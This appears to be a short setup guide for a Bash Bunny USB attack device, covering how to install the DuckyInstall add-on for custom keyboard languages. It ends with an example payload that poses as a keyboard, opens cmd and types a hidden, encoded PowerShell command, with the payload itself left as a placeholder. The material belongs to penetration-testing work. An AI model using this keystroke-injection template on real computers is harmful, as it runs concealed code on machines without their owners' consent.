Custom languages don't work without bbpayload.
- Fetch the bashbunny payloads:
git clone https://github.com/hak5/bashbunny-payloads.git
- Slide the switch to arming position (all the way to the usb plug)
- move contents of
payloads/library/DuckyInstall
to thepayloads/switch1
directory in the bunny - Unmount, slide switch to payload1 position (all the way to the back)
- plug the bunny and wait until the LED blinks white.
- Slide to arming, remove the install, add your bunnyscripts and that's it.
You can optionally check payloads/install_log.txt
if DuckyInstall was installed correctly. You can remove the log as well.
Example payload (put it in bunny payloads/switch1/payload.txt):
#!/bin/bash
LED R
source bunny_helpers.sh
ATTACKMODE HID
Q SET_LANGUAGE HR
Q DELAY 500
Q GUI r
Q STRING cmd
Q ENTER
Q DELAY 500
Q STRING powershell.exe -NoP -sta -NonI -W Hidden -Enc <BASE64 Encoded payload>
Q ENTER
LED G